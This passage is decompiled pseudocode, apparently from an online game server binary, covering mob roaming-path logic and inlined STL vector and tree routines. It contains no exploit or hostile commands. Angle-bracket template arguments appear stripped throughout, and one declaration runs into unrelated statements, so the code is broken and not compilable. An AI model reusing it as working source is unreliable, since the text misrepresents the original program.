**)&v5, 0x2Au); *(_DWORD *)&v5 += 42; } return result; } //----- (00488530) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc) { MobRoaming::PathElement *v2; // eax@1 v2 = this->baseclass_0._Myfirst; if ( v2 ) { if ( this->baseclass_0._Mylast - v2 ) { loc->x = this->baseclass_0._Myfirst->x; loc->y = this->baseclass_0._Myfirst->y; } } } //----- (00488570) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming) { MobRoamingPoint *v2; // esi@1 __int16 v3; // ax@1 __int16 v4; // cx@2 MobRoaming::PathElement *v5; // ebp@2 MobRoaming::PathElement *v6; // edx@2 int v7; // edi@3 signed __int64 v8; // qax@4 int v9; // eax@5 __int16 v10; // cx@6 MobRoaming::PathElement *v11; // eax@6 int v12; // eax@7 __int16 v13; // ax@9 char nm[4]; // [sp+4h] [bp-2Ch]@12 int v15; // [sp+8h] [bp-28h]@12 int v16; // [sp+Ch] [bp-24h]@12 int v17; // [sp+10h] [bp-20h]@12 int v18; // [sp+14h] [bp-1Ch]@12 ORToken _; // [sp+18h] [bp-18h]@12 v2 = this; v3 = this->mrp_Val._bf0; if ( (unsigned __int16)this->mrp_Val._bf0 >> 8 < 0 ) { if ( v3 & 0x7FFF ) this->mrp_Val._bf0 = v3 ^ (v3 ^ (v3 - 1)) & 0x7FFF; else this->mrp_Val._bf0 = 1; } else { v4 = v3 ^ (v3 ^ (v3 + 1)) & 0x7FFF; v2->mrp_Val._bf0 = v4; v5 = roaming->baseclass_0._Myfirst; v6 = 0; if ( v5 ) { v8 = 818089009i64 * (unsigned int)((char *)roaming->baseclass_0._Mylast - (char *)v5); v7 = (SHIDWORD(v8) >> 3) + (HIDWORD(v8) >> 31); v6 = 0; } else { v7 = 0; } v9 = v4 & 0x7FFF; if ( v9 >= (unsigned int)v7 ) { v10 = v4 | 0x8000; v2->mrp_Val._bf0 = v10; v11 = roaming->baseclass_0._Myfirst; if ( v11 == v6 ) LOWORD(v12) = 0; else v12 = roaming->baseclass_0._Mylast - v11; v13 = v10 ^ (v10 ^ (v12 - 2)) & 0x7FFF; goto LABEL_10; } *(_DWORD *)&_.ort_Name[16] = v6; *(_DWORD *)&_.ort_Name[12] = v6; *(_DWORD *)&_.ort_Name[8] = v6; *(_DWORD *)&_.ort_Name[4] = v6; *(_DWORD *)&_.ort_Name[0] = v6; strncpy(_.ort_Name, v5[v9].EventIndex, 0x14u); v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)nm = 0; strncpy(nm, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( !ORToken::operator__(&_, (ORToken *)nm) ) { ORToken::ORToken((ORToken *)nm, "return"); if ( ORToken::operator__(&_, (ORToken *)nm) ) { HIBYTE(v2->mrp_Val._bf0) |= 0x80u; v13 = v2->mrp_Val._bf0 ^ (v2->mrp_Val._bf0 ^ (std::vector>::size(&roaming->baseclass_0) - 2)) & 0x7FFF; LABEL_10: v2->mrp_Val._bf0 = v13; return; } ORToken::ORToken((ORToken *)nm, "rotate"); if ( ORToken::operator__(&_, (ORToken *)nm) ) v2->mrp_Val._bf0 = 0; } } } //----- (00488750) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance) { int v4; // esi@1 int v5; // ecx@1 int v6; // ebx@1 char result; // al@2 int v8; // eax@3 signed int v9; // edx@4 int v10; // ebp@5 int v11; // eax@5 int v12; // edi@7 int v13; // ebx@7 int v14; // edx@8 int v15; // eax@8 int v16; // edi@9 int v17; // edx@9 int v18; // eax@9 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_NextPathPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; *(_DWORD *)dy = 0; *a2 = 0; v6 = *(_DWORD *)(v4 + 7404); if ( v6 ) { v8 = *(_DWORD *)(v6 + 4); if ( v8 ) { v9 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v6 + 8) - v8)) >> 32) >> 3; v5 = v9 + ((unsigned int)v9 >> 31); } v10 = v4 + 7408; v11 = *(_WORD *)(v4 + 7408) & 0x7FFF; if ( v5 > (unsigned int)v11 ) { v12 = *(_DWORD *)(42 * v11 + *(_DWORD *)(v6 + 4) + 2); v13 = *(_DWORD *)(*(_DWORD *)(v6 + 4) + 42 * v11 + 6); if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v12, v13) <= 0x64 ) { MobRoamingPoint::mrp_Next((MobRoamingPoint *)(v4 + 7408), *(MobRoaming::MobRoamingPath **)(v4 + 7404)); v14 = *(_DWORD *)(*(_DWORD *)(v4 + 7404) + 4); v15 = *(_WORD *)v10 & 0x7FFF; v13 = *(_DWORD *)(42 * v15 + v14 + 6); v12 = *(_DWORD *)(v14 + 42 * v15 + 2); *(_BYTE *)(v4 + 8808) &= 0xF7u; } *a2 = v12 - *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4); v16 = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4) + 4); *(_DWORD *)dy = v13 - v16; *(_DWORD *)distance = DirectDistanceTable::ddt_Distance(&ddt, *a2, v13 - v16); v17 = *(_DWORD *)(v4 + 7404); v18 = *(_WORD *)v10 & 0x7FFF; *(_DWORD *)(v4 + 8792) = *(_DWORD *)(*(_DWORD *)(v17 + 4) + 42 * v18 + 2); *(_DWORD *)(v4 + 8796) = *(_DWORD *)(*(_DWORD *)(v17 + 4) + 42 * v18 + 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } return result; } //----- (00488970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this) { int v1; // edi@1 int v2; // eax@2 int v3; // esi@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@6 v1 = *(_DWORD *)(this + 7404); if ( v1 ) { v2 = *(_DWORD *)(v1 + 4); if ( v2 ) { v4 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v1 + 8) - v2)) >> 32) >> 3; v3 = v4 + ((unsigned int)v4 >> 31); } else { v3 = 0; } v5 = *(_WORD *)(this + 7408) & 0x7FFF; if ( v3 > (unsigned int)v5 ) { v6 = 42 * v5; *(_DWORD *)(this + 8792) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 2); *(_DWORD *)(this + 8796) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 6); } } } //----- (004889E0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval) { MobRoaming::MobRoamingPath *v3; // edi@1 std::_Tree,std::allocator,0> > *v4; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 std::_Tree,std::allocator,0> >::iterator *v7; // eax@3 std::_Tree_nod,std::allocator,0> >::_Node *_Keyvala; // [sp+Ch] [bp+8h]@1 v3 = _Keyval; v4 = this; v5 = std::_Tree_std::allocator_0>>::_Lbound( this, _Keyval); v6 = v4->_Myhead; _Keyvala = v5; if ( v5 == v6 || MobRoaming::MobRoamingPath::operator<(v3, &v5->_Myval) ) { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } else { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } return v7; } //----- (00488A40) -------------------------------------------------------- MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00488A70) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00488AE0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 #325 **v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 #325 **v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *p; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator *)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; p = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (#325 **)((char *)v7 + _Counta); v2->_Mylast = (#325 **)((char *)v7 + 4 * v4); v2->_Myfirst = (#325 **)v7; } } //----- (00488BB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val) { std::vector > *v4; // ebx@1 MobRoaming::PathElement *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // ecx@15 int v11; // eax@18 int v12; // edi@22 void *v13; // eax@22 std::vector >::const_iterator v14; // ecx@22 int v15; // eax@22 unsigned int v16; // esi@24 char *v17; // eax@26 char *v18; // esi@26 std::vector >::const_iterator v19; // ecx@27 std::vector >::iterator v20; // edi@27 MobRoaming::PathElement *v21; // ecx@28 MobRoaming::PathElement *v22; // ST20_4@28 unsigned int v23; // esi@28 int v24; // [sp-Ch] [bp-54h]@1 MobRoaming::PathElement *_Ptr; // [sp+0h] [bp-48h]@22 char *_Newvec; // [sp+4h] [bp-44h]@22 MobRoaming::PathElement _Tmp; // [sp+8h] [bp-40h]@1 unsigned int cookie; // [sp+34h] [bp-14h]@30 int *v29; // [sp+38h] [bp-10h]@1 int v30; // [sp+44h] [bp-4h]@22 MobRoaming::PathElement *_Wherea; // [sp+50h] [bp+8h]@29 MobRoaming::PathElement *_Vala; // [sp+58h] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, 0x28u); *(_WORD *)&_Tmp.EventIndex[30] = *(_WORD *)&_Val->EventIndex[30]; v5 = this->_Myfirst; v29 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1184].esc_skill.buffer[-v8 + 17546] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 42 >= _Count ) { _Wherea = (MobRoaming::PathElement *)(*(_DWORD *)&v19 - 42 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 42 * _Count), v19, *(MobRoaming::PathElement **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 42 * _Count)); std::copy_backward( *(MobRoaming::PathElement **)&v20, _Wherea, _Vala); std::fill( *(MobRoaming::PathElement **)&v20, (MobRoaming::PathElement *)(*(_DWORD *)&v20 + 42 * _Count), &_Tmp); } else { std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, v19, (MobRoaming::PathElement *)(*(_DWORD *)&_Where + 42 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(42 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 42, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (MobRoaming::PathElement *)v23; std::fill( *(MobRoaming::PathElement **)&_Where, (MobRoaming::PathElement *)(v23 - 42 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1184].esc_skill.buffer[-(v6 >> 1) + 17546] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = 42 * v10; v13 = operator new(42 * v10); v14 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = (char *)v13; v30 = 0; _Ptr = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v14, _Where.baseclass_0, (MobRoaming::PathElement *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 42; v16 = v15 + _Count; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v17 = _Newvec; v18 = &_Newvec[42 * v16]; v4->_Myend = (MobRoaming::PathElement *)&_Newvec[v12]; v4->_Mylast = (MobRoaming::PathElement *)v18; v4->_Myfirst = (MobRoaming::PathElement *)v17; } } __security_check_cookie(cookie); } //----- (00488E50) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { MobRoaming::PathElement *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // edi@2 signed int v5; // edx@3 unsigned int v6; // edi@7 void *v7; // eax@7 std::vector >::const_iterator v8; // ecx@7 std::vector >::const_iterator v9; // ST00_4@7 int v10; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v3 = this; v12 = &v10; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - (char *)v2)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&wholesaver.ws_savestore[1184].esc_skill.buffer[17546] ) std::vector>::_Xlen(this); v6 = 42 * v4; v7 = operator new(v6); v3->_Myfirst = (MobRoaming::PathElement *)v7; v3->_Mylast = (MobRoaming::PathElement *)v7; v3->_Myend = (MobRoaming::PathElement *)((char *)v7 + v6); v8 = (std::vector >::const_iterator)_Right->_Mylast; v9 = (std::vector >::const_iterator)_Right->_Myfirst; v13 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v9, v8, (MobRoaming::PathElement *)v7, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00488F20) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this) { std::_Tree_nod,std::allocator,0> >::_Node *v1; // esi@1 v1 = this; if ( this->_Myval.baseclass_0._Myfirst ) operator delete(this->_Myval.baseclass_0._Myfirst); v1->_Myval.baseclass_0._Myfirst = 0; v1->_Myval.baseclass_0._Mylast = 0; v1->_Myval.baseclass_0._Myend = 0; } //----- (00488F50) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val) { std::vector > *v4; // edi@1 MobRoaming::PathElement *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00488FC0) -------------------------------------------------------- void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve( &this->baseclass_0, 0x1Eu); } //----- (00489010) -------------------------------------------------------- #error "489010: undefined or illegal type '#325' (funcsize=24)" //----- (00489050) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[12] = 0i64; *(_QWORD *)&this->mrp_GroupName.ort_Name[4] = 0i64; *(_DWORD *)&this->mrp_GroupName.ort_Name[0] = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[0] = *(_QWORD *)&groupname->ort_Name[0]; *(_QWORD *)&this->mrp_GroupName.ort_Name[8] = *(_QWORD *)&groupname->ort_Name[8]; *(_DWORD *)&this->mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; } //----- (00489090) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname) { MobRoaming::MobRoamingSet *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 int v6; // esi@1 ORToken **v7; // eax@3 ORToken *v8; // eax@5 MobRoaming::MobRoamingPath *v9; // esi@6 MobRoaming::MobRoamingPath *result; // eax@6 int v11; // [sp+4h] [bp-34h]@4 MobRoaming::MobRoamingPath _Keyval; // [sp+8h] [bp-30h]@1 int v13; // [sp+34h] [bp-4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRoaming::MobRoamingSet::mrs_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; _Keyval.baseclass_0._Myfirst = 0; _Keyval.baseclass_0._Mylast = 0; _Keyval.baseclass_0._Myend = 0; v3 = *(_DWORD *)&groupname->ort_Name[4]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[0] = *(_DWORD *)&groupname->ort_Name[0]; v4 = *(_DWORD *)&groupname->ort_Name[8]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[4] = v3; *(_QWORD *)&_Keyval.mrp_GroupName.ort_Name[8] = __PAIR__(*(_DWORD *)&groupname->ort_Name[12], v4); *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; v5 = std::_Tree_std::allocator_0>>::_Lbound( &v2->baseclass_0.baseclass_0, &_Keyval); v6 = (int)v2->baseclass_0.baseclass_0._Myhead; groupname = (ORToken *)v5; if ( v5 == (std::_Tree_nod,std::allocator,0> >::_Node *)v6 || MobRoaming::MobRoamingPath::operator<(&_Keyval, &v5->_Myval) ) { v11 = v6; v7 = (ORToken **)&v11; } else { v7 = &groupname; } v8 = *v7; --funcallanalizer.fca_stackpoint; v13 = -1; if ( v8 == (ORToken *)v6 ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = 0; } else { v9 = (MobRoaming::MobRoamingPath *)&v8->ort_Name[12]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = v9; } return result; } //----- (004891B0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val) { std::vector > *v2; // esi@1 MobRoaming::PathElement *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 MobRoaming::PathElement *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00489240) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 char *v7; // edi@1 v6 = this; this->_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; std::vector>::vector>( &this->_Myval.baseclass_0, &_Val->baseclass_0); v7 += 16; *(_QWORD *)v7 = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[8]; *((_DWORD *)v7 + 4) = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v6->_Color = _Carg; v6->_Isnil = 0; } //----- (004892A0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { void *v6; // esi@1 int v8; // [sp-Ch] [bp-24h]@1 void *v9; // [sp+0h] [bp-18h]@1 void *_Wherenode; // [sp+4h] [bp-14h]@1 int *v11; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x34u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator_0>>::_Node::_Node( (std::_Tree_nod,std::allocator,0> >::_Node *)v6, _Larg, _Parg, _Rarg, _Val, _Carg); return (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } //----- (00489330) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1399].gapf2b8[15814] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( 